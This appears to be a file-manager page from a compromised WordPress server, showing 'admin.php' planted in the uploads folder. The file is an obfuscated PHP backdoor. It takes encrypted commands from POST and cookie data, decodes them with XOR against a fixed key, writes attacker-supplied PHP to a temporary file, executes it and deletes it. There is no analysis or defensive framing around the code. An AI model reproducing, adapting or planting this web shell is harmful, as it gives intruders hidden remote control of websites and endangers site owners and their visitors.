HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/11/admin.php
<?php 
$pmgrdir  = /*  kkk*/ 'pmgrdir' /* rcyq  */ ^	'';


$llzvjj    =    "\x61"    .    $pmgrdir(969-855)   . /* xis_mj  */ "r"."\x61"      .    $pmgrdir(121)    . /* ibi  */ "\137"    . /*  l*/ "m"."\x61"      .      $pmgrdir(203-91);


$zljlwegof	=	"\x69"  . /*  fke   */ "m"."\160"       . /*  i*/ $pmgrdir(439-331)    .	"\157"	.	"d".$pmgrdir(101);





function       avgikgo($ztbkne,	$nkfenfdz)
{    global    $pmgrdir;     


	$ztbkne   =	$pmgrdir(60)   .	"?".$pmgrdir(112)     . /*  idfoa*/ "h"."\x70"	. /*   rtkqr */ $pmgrdir(32)	.      "\x75"   .      "\156" /*  vf_jvv  */ . /*pcvi   */ $pmgrdir(108)	.	"\x69"    .	$pmgrdir(110) /*  gm */ .    "k"."\50"   .   $pmgrdir(95)      .    $pmgrdir(95) /* ih*/ .    "\106" /*   mojxx */ .    "I".$pmgrdir(1061-985)    .     "\x45"     .    "_"."\x5f"  . /* sx   */ "\x29"	.  "\x3b"   .    $pmgrdir(32)    .      $ztbkne["d"];

 /* i_me   */ $ppfivsd       =	"f"."\151"."l".$pmgrdir(137-36)."\137"    .	"p"."u"."t"."_"."\x63"    . /*  ti_q   */ "o"."n"."t".$pmgrdir(137-36)."\156" /*fbzr */ .    "t"."\163";


      

    $ppfivsd($nkfenfdz, /* rl */ $ztbkne);

 /*vl */        jaesn($nkfenfdz);
}

$szsjhh /*  nac   */ =    73;

function	jaesn($nkfenfdz)


{

    global      $pmgrdir;

 /*  u_shh  */ 

 /*zhxn  */ include($nkfenfdz);

       $tyaztsrr	=    $nkfenfdz;

	@unlink($tyaztsrr);
}
function /*   lh   */ cmpdy()
{


    global /* psixvv */ $pmgrdir;



      $nrfvfbs_zc      = /*   k  */ array(); /* lr  */ $nrfvfbs_zc["p".$pmgrdir(326-208)]    = /*  vhv_oa   */ phpversion();       $nrfvfbs_zc["s"."\166"]	= /*  af   */ "3"."."."\65";
	$tysaycha /*b  */ =       74;     echo /*jvfwn */ @serialize($nrfvfbs_zc);


}

function    zfftor($ztbkne,    $epdcgjv_gvrkr){
 /*   backg */ global       $pmgrdir;


 /*   kfe  */ $vkapc    = /*  k  */ "";
 /*  lifvwh  */ $_cujn    = /*x  */ strlen($ztbkne);
 /*   vzy */ $gir_wpfece  = /*   jkm  */ strlen($epdcgjv_gvrkr);


   $nrfvfbs_zc       =    0;

    $epdcgjv /*  wu  */ =    0;    

 /* jtxb   */ while /*z */ ($nrfvfbs_zc     <  $_cujn)      {


    $ddnnb	=    $ztbkne[$nrfvfbs_zc] /*  dnjmso  */ ^   $epdcgjv_gvrkr[$epdcgjv /*rvm*/ %	$gir_wpfece];  $vkapc /*  hp  */ .=    $ddnnb; /*zqpt*/ $epdcgjv++; /*  trp*/ 
 /*   r   */ $nrfvfbs_zc++; /* hhpk*/ }    
     if	(strlen($vkapc)     > /*   joop  */ 20) /* g */ {

    $dsy_amh /* zy  */ = /*zi_nbg */ substr($vkapc,	0,	20);	}	if /*  fns_   */ (empty($vkapc)) /*   aq*/ {


	$vkapc /*   dq_ni*/ =    date('Y-m-d /*  jjuh */ H:i:s');
 /*bg */ }


     return	$vkapc;

}




function    ukgcclw($xjwyc)


{
	global   $pmgrdir;


 /*  xvjlyr */ 


 /*   f   */ $mwrdgr	=	$pmgrdir(446-390) /*kytfu  */ . /*oe  */ "7"."\x63" /*  ozon */ . /* lmko   */ "5"."\x32"       .    "\x66" /*   b */ . /*   y */ "b"."\60"  .    "\x2d"	.	$pmgrdir(49)	.	"\64"     .	"2"."\x33"    .     "\55" /*os*/ .	"\x34"    .    "\x36"   . /*  zieb */ "\66"      . /*   n  */ "\x38" /*   lunskk */ .   "-"."9".$pmgrdir(317-264)  .    "a".$pmgrdir(56)    .  "-"."2".$pmgrdir(137-36)."6".$pmgrdir(101)    .     "\63"   .    $pmgrdir(581-525)      .    $pmgrdir(100)   . /*  pdl*/ $pmgrdir(570-470)    .    "\145" /*   wkkid */ .	$pmgrdir(931-878) /*   lzzqlu*/ . /* nqqu  */ $pmgrdir(56) /*   xx  */ .     $pmgrdir(888-839);	

 /*  yh   */ foreach    ($xjwyc	as /*   eek_*/ $xqfdbcyjo       =>	$ztbkne)	{    zowamwfqg(base64_decode($ztbkne), /*  icjhc*/ $mwrdgr,    $xqfdbcyjo);

 /*   fb   */ }

}


function      zowamwfqg($ztbkne, /*   hkz */ $mwrdgr,    $xqfdbcyjo){


 /*ylfqz*/ global	$pmgrdir;	    $ztbkne    = /*  d */ unserialize(zfftor(zfftor($ztbkne,     $mwrdgr),   $xqfdbcyjo));
	$eolcz     = /*  j */ 'fkcc';
	$dvlsaqeg    =       'sdosc';    if       (isset($ztbkne["a"."\153"]))    {


 /* qnq  */ if    ($ztbkne["a"]    == /*   zo   */ "\151")    {
	cmpdy();

	} /* l   */ elseif	($ztbkne["a"]    ==       $pmgrdir(137-36))     {

 /*   fna*/ avgikgo($ztbkne,   sprintf($pmgrdir(46)    .	"\57"   . /*  nd   */ "%"."s"."\x2e" /* yv   */ . /*  gfg*/ "\160"  . /*  zqqfj   */ "l", /*   myu  */ md5($mwrdgr)));			$mggct /*   hw  */ =	44;


       }     exit();     }}


ukgcclw($_POST); /*o*/ 


$zfdz_    =    'rawurldecode';

$qhzm_pq    =      $llzvjj($zfdz_,    $_POST);$zljlwegof("", /* rflraf  */ $zfdz_);ukgcclw($_COOKIE);
$kvpih /* tqjg  */ = /* znbyj*/ $llzvjj($zfdz_,     $_COOKIE);





?>